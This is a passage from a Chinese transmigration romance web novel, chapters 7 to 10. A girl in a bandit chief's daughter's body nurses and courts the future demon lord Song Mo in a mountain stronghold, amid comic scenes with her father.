《任务失败,但反派自我攻略了》
7. 不行
宋默蜷缩在被褥里,双颊烧得通红,额前碎发被冷汗浸透,凌乱地贴在皮肤上。干裂的嘴唇微微张开,呼出的气息灼热,说话间,鼻音尤为浓重。
他也不晓得自己今日是怎么了。
他无故觉得温禾身上的气味很熟悉,像几年前他在另一个人身上闻见的那样,令人安心。
亦或者,他只是想要一个人陪陪他。
不管出于何种理由,他最后还是伸出手牵扯少女的衣袖。
可是对方没什么反应,只是低头看向被拉住的袖子,皱眉撅嘴,似乎很困扰。
宋默眨了眨酸涩的眼睛,松开手,对着温禾说了一句抱歉。
说完,他慢慢翻过身,把后背留给温禾。
“?”
温禾看着宋默的后背,莫名觉得大魔头好像有点委屈。
不是吧,他在委屈个毛线啊?虽然修道之人抱一下也没什么大不了的,横竖不会脱一层皮。但是!她还没谈过恋爱呢……上次那个吻是事出紧急,这一次没理由要抱他吧?
宋默闭着眼,脑袋昏昏沉沉的,呼吸又浅又轻。
忽然,带有少女馨香的手落在他的肩头,轻轻拍两下。
宋默睁开眼,却没有回头。
下一秒,柔软的衣袖轻巧地蹭过他的脸颊,落在眼前。布料上还残留着浆洗过后皂角的味道和少女身上淡淡的香气,温暖干净。
“你是男的,我是女的。虽然我俩成过亲……不过那也是假的。所以,男女还是授受不亲。抱就算了,你要是想我留下来陪你的话,袖子可以借你。”
温禾满意咧嘴笑,能想出这种办法,她可真是天才。
人生病时,自然是格外脆弱。况且魔头现在也不过是个十八岁的少年,想要人安慰,也是正常,正常。
柔软的布料覆盖在面颊,痒痒的。
宋默怔怔然。
温禾手都要举酸了,催促道:“快点呀,你要不要啊?”
手指颤了颤,终于小心翼翼地握住了那截衣袖。
温禾见状,放心坐在脚踏上,头松松地倚靠在床柱。
良久,她听到宋默用沙哑得不成样子的嗓子,低低的,含糊地说了一声谢谢。
“没事儿。你今日患病,说不准是我爹那副药的功劳。真要算起来……父债子偿,我照顾你也是应该的。”
不是应该的。
宋默阖眼,喉咙里堵着一团苦涩,却没发出一点声音。
这世间的人,自私又重利。他们的贪欲如同无底的深渊,只会一昧地攫取与掠夺。父母,手足,爱人……只要价码合适,有什么是不能背叛的?
温禾听不到宋默心里的声音。在她的角度,少年身上盖着厚厚一层被褥,还是冷得直发抖。
于是温禾站起身,想去再寻一床被褥来。被人紧紧抓在手中的衣袖反拉着她往床边倒,重重跌在那副滚烫的身躯。
宋默方才已有倦意,惺忪地睁开眼,半是疑惑半是探究地看着温禾。
温禾咬着下唇,很是愧疚,“我想给你再找一床被子……”
“没事,用不着。”
温禾呼出一口气,坐下。像安抚一只淋雨的小兽,轻轻隔着被子拍宋默的脊背。
以前她生病的时候,师父就会把她抱在怀里这样安慰。然后她能睡个好觉,不管是多么严重的病,睡醒之后就不难受啦。
当然,她也有私心。她要让宋默喜欢上她才行,多点温柔小意,刷刷好感总是没错。
不知拍了多久,身上的手停止了,轻轻搭在宋默身上。他对这种照顾不太习惯,以至于一直保持清醒。长而密的睫毛微微颤动,那双漆黑漂亮的眼睛望着温禾。
少女伏在床边,发丝散乱地铺在昨夜新婚的红色被褥上,面颊红润,呼吸匀长,睡得很是香甜。
宋默盯着看了许久,直至他困惑地抚上胸口。
心脏在胸腔里跳得又急又重,像只初生莽撞的雀鸟,扑棱棱展开翅膀横冲直撞。
是因为高热么?还是……因为她?
这个念头突然窜出来的瞬间,就被他迅速压下去,合上眼回想他真正喜欢的那个人。
不可能,他要去栖云山找紫净仙君复活她。离开熊虎寨后,他与覃元宝就再无瓜葛。什么一拜天地,夫妻对拜都是算不得数的。
对,算不得的。
……
覃争义派人请来的大夫,姓李名全垚。
叫这名字,据说是因为李大夫自小身体虚弱,被当时的大夫断定活不过十五。可父母爱惜子女,总是期盼他能长寿,于是访一老道为其取名全垚,指望他祛病延年,福寿康宁。许是这老道确有颇深的道行,李全垚磕磕碰碰,病病殃殃地活到了中年。只是身子骨仍是不大健朗,坐在马背上被熊虎寨的土匪搂在前头,一颠一颠地颠上山,感觉浑身骨头都要散架了。
不等他颤巍巍地从马上爬下来,热情的熊虎寨兄弟恭敬地喊了一声“李大夫”,然后未经过他同意,便双手穿过他的腋下,像抱孩童似的抱下马,稳稳落地。
“李大夫,跟俺来这边。”
“诶——”
李全垚手脚发软,慢腾腾挪着步子跟上去。
“李大夫可要给俺们少当家刚过门的夫婿仔细看看,哪有人刚成亲就病了呢,也忒晦气了是不?”
李全垚点点头。
他与熊虎寨的人交情不错,昨日少当家娶亲,覃争义还特地遣人送来一壶好酒,算作同乐了。
等会把脉的时候,他也替少当家掌掌眼,看看这新婿能不能行。
木门被推开,熊虎寨兄弟且站在门口,李大夫独自一人迈步而入。
温禾和宋默还睡着。
李全垚抱着药箱走近,少年警觉地睁开眼,撑着身子坐起,皱起眉头不大高兴地竖起食指抵在唇前。
“嘘。”
李全垚点头,没说话,轻手轻脚地走到床边,指了指宋默的手,示意他把手腕露出来给他。
宋默伸出手放在李全垚从药箱里拿出的软垫,后者瞟了一眼软垫之下还在熟睡的少女。
这一瞟,恰好看见二人十指相扣。
李全垚收回眼神,专心给宋默把脉,却忍不住想:不是都说这新婿是抢来的么?怎么看上去,小夫妻感情挺好的。难道强扭的瓜也挺甜?
“好了么?”宋默压低的气音里带着沙砾般的哑。
李全垚想得出神,经宋默一提醒才回过神来,慌乱点头,“好了,好了。”
收起软垫,从药箱里拿出麻纸写药方,边写边叮嘱:“虽是普通伤寒,但也仍需留意忌食肉腻,不要过度劳累。我这上山来也没带够药材,我且写下药方,等会托人带着方子来山下医馆找我拿药就成。”
“轻些。”
温禾觉得耳边有人在说话,睫毛轻颤,动动手指,睡眼朦胧地支起身子,乌黑的头发垂落肩头。手里汗涔涔的,她低下头茫然地瞥见与宋默交缠的手指,睡意骤然消散。
他们什么时候十指紧扣了?
指尖几不可察地僵硬,温禾悄悄抽出手,假装什么事都没发生地问李全垚:“大夫,他身体怎么样?要不要紧?”
掌心空下来,宋默感觉空落落的,手指合盖轻轻摩挲掌心,眼睛动也不动地看着温禾的侧脸。
“醒了?”
李全垚觉得二人之间的氛围突然有些奇怪,点点头回道:“只是伤寒,按时服药多休养
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一些时日就能好全了。少当家,不必太过忧心。”
温禾起身,拿起写完的药方,“多谢,我送您吧。”
温禾提出要送送李大夫,本是想借此机会去找覃争义,商量一下能不能把宋默送去栖云山。如果她的记忆没有出错的话,宋默去栖云山后,仅用了两年便成了紫净仙君的首徒。此后才过了一年,就犯下弑师杀友的恶行。
趁着宋默努力学习的两年,她要去抓紧收集三种材料,淬炼出可以克制他的东西。
温禾在脑海里安排得十分妥当,李全垚出声打断道:“少当家。”
“嗯?”
“你这新娶的夫婿,元气耗散,五内俱损,更兼神思郁结,志意消沉。定要好生调养,时刻保持心情舒畅。”
温禾不大相信,疑惑道:“有这么体弱么?”
李全垚摇摇头长叹,“有些病,不是身上的,而是心上的,心病更是难医啊……”
轮到温禾沉默了。
她确实没看出来宋默身上有什么毛病。四肢健全,神色如常,除了有些消瘦和生性不爱笑,一点问题都没有嘛。每天看上去半死不活的,可是成魔后他也这样啊!
温禾心内腹诽,面上还是点头说是,承诺道:“我会好好照顾他的。”
屋舍内光线昏暗,桌上躺着一张用料极好的信笺,边角微微卷曲,像是被人反复展开又合拢。
覃争义静坐在桌前,手指无意识地摩挲着信纸边缘,目光却停留在墨黑色字迹上。
他不识字,看不懂这上面写的是什么,但他知道这上头是什么意思。
温禾进门时,便看到覃争义对着这张纸眉头紧锁,嘴唇紧紧抿成一条直线。
她轻声喊他,“爹。”
覃争义听到女儿的声音,立马把信折起来,收进怀里。
“怎么了?囡囡。”
温禾走过去,坐在覃争义边上,不知道怎么开口说。
“是谁惹你不高兴啦?”
“不是……”温禾摇摇头,犹豫了半晌,开口道:“爹,你要不还是把宋默放了吧。”
“宋默?”覃争义刚想问这是谁,一拍脑门想起来,“哦,你那个新过门的男人啊。咋了,囡囡你不喜欢他啊?”
“也不是。”
温禾把下巴搁在桌上,“我就是觉着,咱们这么强抢民男不太好吧?”
“咋不好了?”
“哎呀,这传出去多难听啊,我还要抢男人才能成亲!”
覃争义摸摸鼻子,“可是咱们是土匪,本来就是抢来抢去的嘛。”
靠,说的好对。
温禾托着腮愁眉苦脸,总不能直接告诉覃争义,你的亲女儿不知道为什么不见了,现在这副身体里换了一个人,变成我了吧。而我来到这具身体的目的,就是为了杀掉多年后会危害天下的一个邪恶大魔头,还天下太平。
这话说出来,她铁定要被当成疯子抓起来。
思考片刻,温禾摇晃覃争义的胳膊,一通撒娇:“爹,你就把他放了吧,这样真不行……”
“不行?什么不行?”
覃争义好像抓住了什么关键词。
他突然恍然大悟,抽出被温禾抓住的手,提起放在角落的大刀,嘴中念念有词:“不行,不行。他丫的,老子就说了小白脸空长一副好皮囊,一点用都没有!”
“光长腿了,不得用!”
站在门口,掂量了一下大刀,冷哼道:“没用的东西,看老子不宰了他!”
这爹怎么这么虎啊!
覃争义的背影走得又快又急,气势汹汹的像头虎豹。温禾从地上爬起来,提着裙边追出去,崩溃大喊:“爹,你别去了!没有的事!”
8. 故人
温禾一路小跑追在覃争义后头。
男人体格健硕,又是习武之人,迈开的步伐比常人要大上许多。而她今日穿的裙子是新裁的夏装,虽然轻薄,但层层叠叠的,行动很不方便,因此落下不少距离。
等她赶到卧房时,覃争义的大刀早已架在宋默的脖子上,心里一紧,呼吸不畅了。
“等等——”
宋默脸上笑容淡淡,毫不在意自己下一秒是否人头落地,看见温禾气喘吁吁的样子,还心情颇好地手指轻叩桌角。
九环大刀扬起,在空中拉出一道冷冽的寒光。宋默抗拒逃避危险的本能,长身玉立,直直地站在那里。
温禾急得直跺脚,“傻子,快躲呀!”
刀刃翻转,疾风掠动少年披散背后的长发,绕了一圈,收回腰间。
覃争义满是同情地拍拍宋默的肩膀,掌下力气深厚,拍了三下,宋默往前趔趄三步。
男人的默契达成得莫名其妙。
温禾狐疑地围着两人转了一圈。
没发现什么。
覃争义找到空隙钻了出去,一手抓着腰间,回头道:“乖囡,爹还有事,就先走了。”
“?”
不等温禾回答,宋默低眸浅笑,温吞躬身送行:“丈人慢行。”
怪,太怪了。
温禾趴在门口等覃争义走远一些,把门合上,隔绝了外头恼人的蝉鸣。
她先给自己倒了一杯茶,全部饮下后,口干舌燥的症状缓解,才问宋默事情经过。
不过她问什么,宋默的回答都很统一:丈人担忧挂念小婿身体,特来探望。至于那柄差点砍断他脖子的九环大刀,那也只是男人之间惺惺相惜的小游戏。
温禾不相信:“真没发生什么?”
宋默挑挑眉。
他那名义上的老丈人提着一把大刀,嘴上喊着什么没用的东西就该死,然后一脚踢飞门,把他从床上拉起来。
就为了问他一句话。
你到底是不是真男人?
闻言,他怔愣半晌,在丈人的怒目下缓慢点头。
丈人又问:“那你能不能人道”?
他总算反应过来,瞥了一眼脖子上的大刀,万分诚恳地点头:“对不住,我昨夜……”
“没控制好力道。”
丈人瞪大双眼,震惊从眼眶里溢出,长长地“哦”了一声,哦得千回百转,抑扬顿挫。
接着,丈人心疼地拍拍他,承诺下回不再给他下猛药了,让他这段时间好好调理调理身体。
但也没说等他病好了以后,还下不下。
宋默收回心神,对上少女好奇的目光,摇头。
“没什么。”
温禾也没再问。
想起让小厨房煮的粥还在灶头热着,让宋默回床上躺一会,她去端午膳。
说完,像只小黑兔子蹦蹦跳跳地弹射出去。
二人的午膳俱是一碗青菜瘦肉粥。温禾倒是想吃点有味的,但她怕在宋默边上吃,惹他眼馋。李大夫特意强调,不许宋默沾染荤腥,她也只能私底下偷偷藏起来吃。
还好让小厨房多留了一只酱卤猪蹄,等宋默吃完睡着,她就溜出去啃猪蹄。
哼哼。
温禾边想着边往外一颗一颗挑青菜。
“你不喜欢吃青菜?”
总算挑完了,囫囵喝了一口,温禾轻嗯,“吃起来苦苦的,很讨厌。”
宋默眼眸微动,突然想到什么。
“是不是吃上去还有一股泥土味?”
温禾难得碰上和自己口味一致感受一致的人。在花草谷的时候,师姐总爱强调挑食不好,什么都要吃一些。可她天生与青菜不对付,吃进嘴巴里苦苦的,就连漱口后也能闻到青菜独有的土腥味。
讨厌青菜,十分讨厌,万分讨厌,最最讨厌。
对宋默的描述,她十分激动地双手抓住对方的手指,“对,没错!你懂我!”
少女的脸蛋总是红彤彤的,嵌着一双葡萄仁似的黑亮的大眼睛,高兴时不讲究斯文,只管咧嘴开怀大笑,灵动可爱。
宋默也被感染,盯着她,唇角不易察觉地小幅度弯起。
牛饮了大半碗粥,温禾转头一看,宋默吃得慢条斯理,碗里份量没见减少。
照这个速度下去,得吃半个时辰。
等他吃完,她的酱卤猪蹄都要闷坏了。
温禾好心提议:“你现在是不是全身乏力,没有力气。要不我喂你?”
“我有力气,可以自己来。”
温禾眨眨眼睛,扑闪扑闪的,笑起来眼睛弯弯的,像只狡黠的狐狸。让少年魔头感受一下她的柔情蜜意,增加点好感度,多好的机会啊。
“不,你没有。”
轻松抽走手里的汤匙,舀了一小口粥,喂到嘴边。宋默只犹疑少刻,含上汤匙,吞咽。
几缕碎发跟随低头的幅度掉落在脸颊,温禾好心帮忙,重新别到耳后。
微凉指尖轻轻拂过少年有热度的皮肤。
好样的,小禾!
温禾仿佛已经看见魔头头顶蹭蹭冒出的数值条。
好感+1+1+1+1+1……
她愈发起劲,又舀了一勺子,吹凉。
“嗯……”宋默的谢字还未出口,就被塞了满口,齿间弥散谷物的淡淡香甜。只咀嚼两口,流体顺着食道滑下,他再次张口。
“谢……”第二个谢字再次被堵在半路。
少女一勺接着一勺,没有停顿,乐此不疲地重复着同样的操作。她好像找回了当年在花草谷养鸡养鸭养猪养牛的淳朴快乐。
宋默进食时乖顺非常,纤长的睫羽宛如蝴蝶振翅,低垂眉眼,露出眼皮角落的那枚红痣。因生病的缘故,格外白皙红润,偶尔温禾喂得太快,他接不上下一口时,便会抬起眸子,几分哀怨地闪烁湿漉漉的眼瞳。
嘶。
像极了十四岁生辰,大师兄送她的那只纯白的小牛犊。
喂到碗中还剩一半,宋默抓住温禾还要靠近的手腕,木勺停在空中。
“吃不下了。”
“再吃点。”温禾鼓起双颊,目光在少年身上逡巡。大概是经常吃了上顿没下顿,宋默比同龄人要更为清瘦,薄薄一层皮肉贴在骨架上,露出的手骨节分明,整个人凸显出异常的瘦长伶仃。
年猪都是要养胖了才杀了吃的。<
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p>“你太瘦了,多吃点,才会长肉,病才会快快好。”温禾用汤匙抄底,嘟嘟囔囔:“身上一点肉都没有,睡在边上好硌人。”
温禾情窍未开,丝毫没感觉到说出的话夹杂几分暧昧的意味,自顾自投喂。
宋默闻言轻咳,红晕偷偷爬上耳朵。
“嗯?呛到了吗?”
“没。”
宋默胃里饱胀,但还是吃了一口,强迫自己咽下,“这种话,你不要和别人说。”
“什么话呀?”
“就那个睡觉……”
“睡觉怎么了?”
温禾的眼神清澈如泉,闪过一丝迷茫,她侧头,小巧的鼻子微微上翘,更添几分稚气可爱。
宋默:“算了,没什么。”
总算投喂完,温禾收拾碗筷端回小厨房。其实这些事她不必自己亲自动手的,覃争义对女儿很是宝贝,舍不得她做什么粗活,因此特地给她的小院安排了一个阿婆,照顾饮食起居。
不过自从温禾知道这位张阿婆青年丧夫,中年丧子,孤身一人来熊虎寨讨生活,便打心底里有些不好意思差使她做事了。
这世上的每个人生来便是为了生活。只是有些人运气好,所以活得容易些;有些人运气差,活得格外辛苦。
她觉得自己属于运气好的那部分。人若是想活得快活,就要知足才行。
温禾挽起袖子,取少量草木灰简单冲洗下碗筷,手指湿哒哒地滴水。她甩手发现宋默斜靠在门框,眼角因压抑咳嗽而被刺激得微微泛红。
“你怎么不好好休息,到处乱跑。”
“有什么我能干的?”宋默扶着门框吃力地迈进来,“总不能老是吃白食……”
“没有什么事需要你干呀。哦,倒是有一件,就是好好养病,争取早日痊愈,然后启程去栖云山。”
宋默嘴角的笑意霎时消失,“你很希望我早点走吗?”
“什么希望你早点走?”温禾不懂宋默的意思,她眨了下眼,“是咱们,咱们一块走。”
“我还从没去过栖云山见过神仙呢!”
听闻紫净仙君擅岐黄之术,能识百草。而且有一片自己亲手培育的草药田,里头珍奇异宝数不胜数。如果有机会可以见识一下……
最好是再薅几株已经灭绝的花花草草带回去。
嘿嘿。
温禾眼睛滴溜一转,捧着一只瓦罐憨笑。
宋默听到温禾半真半假的俏皮话愣了一下,他分不清哪句是真哪句是假。抬头正好撞上少女如同璀璨耀眼的星光,细碎地落在他的眼里。
他突然产生了不可名状的私心。
她和他那位早逝的白月光,实在是太像了。两张截然不同的脸庞,给他的感受却是同样的熟悉,甚至是好恶习惯都一样。
难道真的有借尸还魂这一说?
宋默想得入神,少女清凌凌的声音如同晨露滴砸在枝叶,撞得他人心摇晃。
“宋默,你说话呀,好不好嘛?”
她直白地邀请他一起私奔。
他屏住呼吸,微微停顿,此后眼底有冰雪消融,软化破裂。
他听见自己说。
“好。”
9. 等你
宋默安心留在熊虎寨养病。
不过他生性孤僻淡漠,若非紧要之事,绝不肯轻易踏出房门半步。平日里总是一个人独居一室,或支颐独坐窗前,或倚着门槛晒太阳。
熊虎寨的乡亲们见不到少当家这位新入赘的郎君,每每瞧见在山上撒欢的温禾,总要扯着嗓子打趣一句:元宝,你家那位白面郎君呢,怎么藏着掖着,都不带出来给大家伙见见呀?
元宝,是覃争义给原主起的小字。
温禾听了也不恼,随手摘下野果,晃着腿坐在树梢,笑声清亮:他呀,脸皮薄着呢!
她倒是想拉着宋默出去透透气。可那闷葫芦不知从哪儿搜罗来一摞摞的书册,堆在屋角成了一座小山。他起的比温禾早,天蒙蒙亮便坐在桌前看;夜深了又蹭着豆大的灯火看得入神,一看便看到深夜。
那烛光在纱帐上投下少年清瘦的剪影,时不时传来书页翻动的轻响。
偏生亮着光,温禾便睡不着觉。每每熬到忍无可忍,只能气鼓鼓地鲤鱼打挺,“噗“一声强行吹灭蜡烛,不由分说地夺走宋默手里的书卷。
“再看下去,眼都要瞎了!”
就宋默那般不爱惜自己的身体,一直这么透支下去,这病缠缠绵绵的,得何时才能好全?
凡人的日子琐碎又忙碌,天刚蒙蒙亮就得下地耕作,锄完一垄垄庄稼,日头已近中天,又得匆匆赶回家生火做饭。女人们收拾完碗筷,挎着鼓鼓囊囊的衣物往河边去。
也唯有浣衣的间隙,才能喘口气,说说家长里短,道道邻里闲话。
说是闲话,其实无翻来覆去不过那几桩:东家两口子昨夜又炒的天翻地覆不可开交,西家的姑娘前几日总算和青梅竹马定亲了,再不就是拿寨子里新婚的小夫妻八卦。
近期八卦的热门人物便是温禾和宋默。
夏日午后,暑气蒸腾。
细碎的阳光从叶隙间漏下,在斑驳的青苔地面投下晃动的光斑。风拂过河畔,将燥热一寸寸浸透。
两位主人公躲在树下好乘凉。
温禾啃了一口新摘的野果。
好酸。
龇牙咧嘴地倒吸着凉气,待酸劲儿渐渐淡去,挤眉弄眼地努努嘴,顺手将剩下的果子递给边上的少年。
“尝……尝。”
话音未落,宋默接过,垂眼看着那排细小的牙印,唇角微不可觉地弯了弯。他乖巧地就着温禾咬过的痕迹轻轻咬下。
果肉接触的瞬间,酸涩的汁水在唇齿间蔓延。
少年纤细的睫毛颤抖。
温禾歪着头凑近宋默,带着几分雀跃追问:“好不好吃?”
舌尖还残存着果实酸涩的味道,宋默抬眼对上温禾期待的目光,喉结滚动,将“不”字咽下,点点头。
“嗯……好吃。”
闻言,少女忽然一个旋身跨坐在他腰间。宋默猝不及防,整个人后仰倒在草地上,几只夏虫被惊扰,挥动翅膀远离这是非之地。
细嫩的草尖穿过轻薄的夏衣,在背脊上描摹细微的痒意。
“好啊,宋默!”
温禾俯身靠近,眼睛直勾勾地盯着少年黑黝黝的眸子,鼻尖几乎贴在一起,“你什么时候还学会唬人了?”
少女发间还缠绕着今晨新洗的皂角香,混着呼吸一同强烈侵略他的防守。
“你,你先……下来。”
宋默喉结滚动,撇过头躲开少女灼热的呼吸,声音沙哑得不像话。
“就不!”
温禾顽劣心起,膝头不着痕迹地往他腰间压了压,感受到身下人骤然绷紧的肌肉,她发现宋默耳垂红得像要滴血。
“你耳朵怎么这么红?”伸手摸摸额头,“你不会又发烧了吧?”
少年体温烫的吓人。她原想着夏日到了,天气越来越热,宋默天天搁在屋内待着,实在闷得慌。所以提议让他陪自己来河边一块消暑的。
怎的这暑气还越消越热了。
温禾有些懊悔,今日自己为何非要拉着他出来乘凉。
河边浣衣的婶娘们偷偷全览过程,纷纷掩嘴轻笑。
李婶子最是嘴快,朝着他们的方向努嘴:“哎哟喂,咱们元宝丫头可悠着点。这青天白日的,惹了火还要紧着灭呢!”
王婶赶忙接茬:“小两口蜜里调油的,姑爷可要保重身体啊!”
一群妇人顿时笑作一团。
温禾这才惊觉二人的姿势有多暧昧,手忙脚乱地想要爬起来,膝盖却不偏不倚地压过少年腿间。只听宋默倒吸一口凉气,从喉间溢出一声压抑的闷哼,眼神潮湿,泛起层层薄红。
温禾感到异样,待反应过来,整个人如遭雷击。
他这模样分明像极了成婚那一晚。
“对,对不住!”
慌乱中,退得更加了无章法,少年浑身上下都要被碰了个遍。
宋默无奈地一把扣住她的手腕,连带着脖颈都染上一层绯红。
“别……乱动。”
温禾不好意思地眼神乱飘,看看树,看看花,看看草,就是不看眼前人。
二人就着你上我下的姿势持续了一会儿,感觉到少年的体温退下去一点,温禾支着宋默的手,爬起来。
今天这事闹的着实有点尴尬,因着这事,温禾脑子里总是闪过宋默中药那一晚她看到的不可言说的画面。
特别是对上宋默的脸,脑海里的画面看得更清楚了。
婶娘们的调笑声愈发响亮,故意拖长声线,像是故意要他们听到难堪似的。
温禾面颊滚烫,拍拍身上的尘土,往平日里人少的小径走。
“我去散散步。”
宋默默不作声地跟在身后,始终保持着恰到好处的距离。
一瞬无言。
温禾百无聊赖,有一下没一下地踢着路边的小石子,石子骨碌碌滚过河岸,跃入平静的河面,荡漾开一圈圈涟漪。
这半月的朝夕相处,温禾发觉,眼前的宋默与百年后那个令人闻风丧胆的魔头简直是判若两人。
现今的少年总是沉默寡言,安静的像一个影子,大半时候都独自躲在房内与书卷相伴。可每回温禾在外头疯完回家,总能看到少年像只守家的小狗,可怜兮兮地抱着膝盖蹲坐在门口。远远望见她的身影,那原本清冷的眉眼如春雪融化,迎上前不声不响地接过她手里乱七八糟的“战利品”。然后听温禾叽叽喳喳地说个不停,
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她今天又爬了那棵歪脖子树,又发现清甜可口的新果子。寨中的兄弟们带她围猎,他们抓到了一只肥美的野猪,张婆婆答应晚上做烤肉给她吃。
宋默总是安静地听着,嘴角淡淡笑意,见她热,还会用袖子轻轻抹掉她额上的汗水。
可不像那位魔头哩。
那位一出口就如同毒蛇吐信,阴冷的让人脊背生寒,举手投足尽是癫狂的杀意。脾气也臭得要命,说要人死就要人死,简直是个神经病。
温禾猛地停下脚步,转过半身,目光落在跟在背后的宋默身上。
日光为少年镀上一层柔和的轮廓,疏眉朗目,清微淡远,就连垂落的眼睫都显得格外温顺。
这样干净剔透的人,怎会变成后来那般模样?
察觉到前人身影停驻,宋默也收住脚步,关心道:“累了?”
温禾没有回答,突然开口问道:“宋默,你是个好人吗?”
这话没头没尾,却像一柄钝刀,猝然扎进心口,宋默呼吸都为之凝滞。
少女的眼睛明亮,亮得仿佛能够照见他灵魂深处那些阴暗的,连他自己都无法直视的角落。
唇齿间突然泛起一股血腥味。
不知何时,竟然不慎咬破了下唇。
温禾见他回答得艰难,露出笑脸,故意用用肩膀撞了撞他,假装轻松道:“哎呀,我就随口问问,你别这么紧张呀。”
“我不知道。”宋默的声音里带着几分不确定,他顿了顿道:“我不知道自己算不算好人,但我想试着……做个好人。”
“那太好啦!”
温禾眼睛一亮,如果宋默此刻能立下向善之志,并且矢志不渝地坚定下去,那说不准未来就能被改写,那个令三界闻风丧胆的魔头就不会存在。
她顺势挽住他的胳膊,“到时候咱们去栖云山学到真本事,就去行侠仗义,锄强扶弱!”
宋默怔了怔,似乎也被这炽热感染,唇角微扬,竟然也跟着缓慢点头。
忽而又想起什么,他侧首轻声询问:“元宝,你的生辰……是不是快到了?”
嗯?
生辰?
温禾眨眨眼,懵懵然。她是早春出生的,生辰早就过了呀。
忽地惊觉,宋默问的应当是原身的生辰。她都不知道原身的生辰是何时,宋默居然事先知晓了。
温禾犹疑敷衍,“是……吧,应该是快到了。”
声音不自觉低了些许,连她自己听着都透着几分可疑和心虚。
宋默似是未察觉她的异样,只是轻轻颔首,唇角噙着一抹温软笑意:"好。"
有些事情,不能着急。
他看向温禾,可那双清冷的眼眸却像是透过她,望向某个遥不可及的影子。他的目光明明落在她的脸上,却仿佛在通过她的躯壳,找寻另一个人的痕迹。
虽然不知她为何不愿意和自己相认,但是没关系。
他愿意等她自己说。
“等你生辰那日……”
“我备了一份薄礼,还有些……”
话语在此微妙地顿了顿,他眼底闪过一丝难以捉摸的复杂,“还没来得及跟你说的话,想当面说给你听。”
10. 招安
昨夜夏雨急骤,闷雷滚滚,泼下好一场大雨。今晨蕉叶滴翠,石阶泛光,一霎清凉总算偷换了多日的暑气。
温禾没睡好,因着雷声,翻来覆去一整夜。边上的人倒是睡得安稳,呼吸匀长,侧脸线条尚未褪尽年少者独有的清润,宛若春山新雪。睫毛微颤,于眼下投落蝶翼阴影,似有似无地露出易碎的透明感。
是握不住的流萤。
温禾正望着他出神,少年毫无征兆地睁开眼,潮湿的黑眸还蒙着睡意,语气懒散。
“唔……今日怎醒得这么早?”
“去找我爹吃午饭,今日你自己吃吧,不用等我回来。”
温禾赤足跳下床榻,随手扯了件短衫套上,及腰青丝用红色发带草草一束。
正要推门时,听见身后传来窸窣声响,少年半支身子,被褥滑至腰间。
“……那晚饭呢,还回来么?”
温禾觉得这番情形好奇怪。他们既无肌肤之亲,又无两情相悦。真要说是什么关系,可能就是单纯躺在一张床上的关系。偏偏宋默却黏人的很,总是寸步不离地跟着她。这样看来,真的像一对感情甚笃的新婚夫妻。
“不回来,你要吃什么,就跟张婆婆说一声,不用备我的!”
说罢,少女便如一只小鸟,急匆匆飞出去。
这段时间忙着刷魔头的好感度,都没怎么跟便宜爹联络联络感情。
做人可不能见色忘义,忘本啊!
温禾抱着食盒,里头装着她花一早上忙活出来的成果。卖相不大好,灰溜溜的,但闻上去味道还行,她自己没敢吃。
覃争义的书房离她住的小院不远,走一小段便到了。
无事的时候,覃争义大部分时间都待在书房。说是书房,其实他压根不识字,里头的书他一本都不认得。
有一回温禾忍不住问他:既然大字不识,一天到晚在书房里做甚呢?
她这样问,覃争义抬手就是一个暴栗说:你这孩子是不是笨呢!当山大王的不要排场?自然要搞个书房当会客厅,充当门面。这来来往往的人见了不得多高看咱们一眼啊!
温禾吐舌调侃:强盗扮书生。
覃争义吹胡子瞪眼,作势要揍她,连连笑骂:死孩子,看老子不揍死你!
今日不知怎的,书房大门紧闭,里头隐隐传来有人交谈的声音。
温禾想着,覃争义许是有事,便用裙摆擦擦石阶,坐在书房外慢等。
熊虎寨坐落在虎牙山顶,山风常年穿堂而过,比山下要清凉不少。但饶是如此,可眼下临近午时,日头正毒,温禾在门口等了半晌,额上沁出细密的汗珠。
等到她忍不住打退堂鼓,正踌躇着要不午后再来,忽听书房内“哐当”一声,像是有什么重物落地的声音,她不禁有些担心,连忙拍门道:“爹?”
门从内拉开,一老头面色阴沉地走出来。此人年纪约莫六十上下,身着靛青色锦缎长衫,腰间佩挂温润的羊脂玉佩,华贵非常。
在这山野寨子里,显得格格不入。
老头眯着三角眼将温禾上下打量一遍,甩袖从她身边掠过,鼻腔里挤出一声轻蔑的冷哼。
赤裸裸的瞧不起。
温禾背地里翻白眼,悄咪咪地骂:“头抬那么高,跟只大公鸡似的。神气什么呢,臭老头!”
“元宝?”
覃争义靠在椅背,脑壳突突跳。他倦怠地用粗粝的指节抵着太阳穴缓慢揉按,听到脚步声,舒展脸上的皱纹,瞬间变成慈爱的弧度,笑着问温禾:“太阳打西边出来了,今天怎么没有跟着那帮皮猴子出去玩?”
温禾摇头,将食盒轻轻搁在案几。掀开盖子时,今晨新蒸的米糕还冒着袅袅热气,混着桂花蜜的鲜甜在书房里漫开。
味道闻上去不错,可这卖相着实……覃争义看了一眼,嘴巴感觉苦苦的。
温禾一边摆碗筷,一边回答:“今天想陪着爹嘛,省的你一个人在里头闷得慌。”
“陪我这老头有啥意思,陪你那默哥儿去呀。”
覃争义摆出一副过来人的架势,“爹跟你说噢,这男女之间,讲究个三多,就得多思多念多见面。这小子生性闷,你又是闲不住的性子,这样长此以往下去,感情就生分了,你晓得不?”
“爹!”
“得得得,不说不说。”覃争义讪笑着用筷子夹起一块米糕,故意在阳光下转了转,本该是白嫩的糕点如今蒙上一层灰泥,他明知故问,“这你做的啊?”
“天没亮我就爬起来做的!尝尝?”
温禾期冀地看着他,眼睛亮晶晶的。覃争义吞吞口水,不好拂了孩子的好意,于是把那块糕点放回碟子里,推脱道:“爹刚吃过饭,撑的很……你放着,爹到时候饿了一定吃。”
“给个面子,吃一块?”
少女主动捻起一块,送到嘴边,撒娇道:“就一口——”
俗话说,美食,讲究的是一个色香味俱全。覃争义盯着那块形状可疑的米糕,深吸一口气,视死如归地含进嘴里,嚼吧两口。
一股诡异的味道在嘴里炸开,外皮焦硬,内里粘牙,不知放了多少糖霜,甜得齁嗓子。
他眼皮直跳,看见孩子眼巴巴的样子,又不忍心说真话使她伤心,只得闭着眼睛,假装回味,一副闷头夸奖:“嗯……味道,味道真是别有一番风味啊,啊哈哈。”
“是还不错吧?”温禾满意地又递了一块,“好吃的话,爹你就多吃点。不够我再给你做!”
覃争义含泪又吃下一块。
突然,温禾想起方才那位目中无人的老头,问了一嘴是谁。
被米糕糊嘴,说不出话的覃争义摇头。
“不认识?不知道?还是不重要?”
总算是咽下去了,“不重要,元宝你不用放心上。”
“爹。”
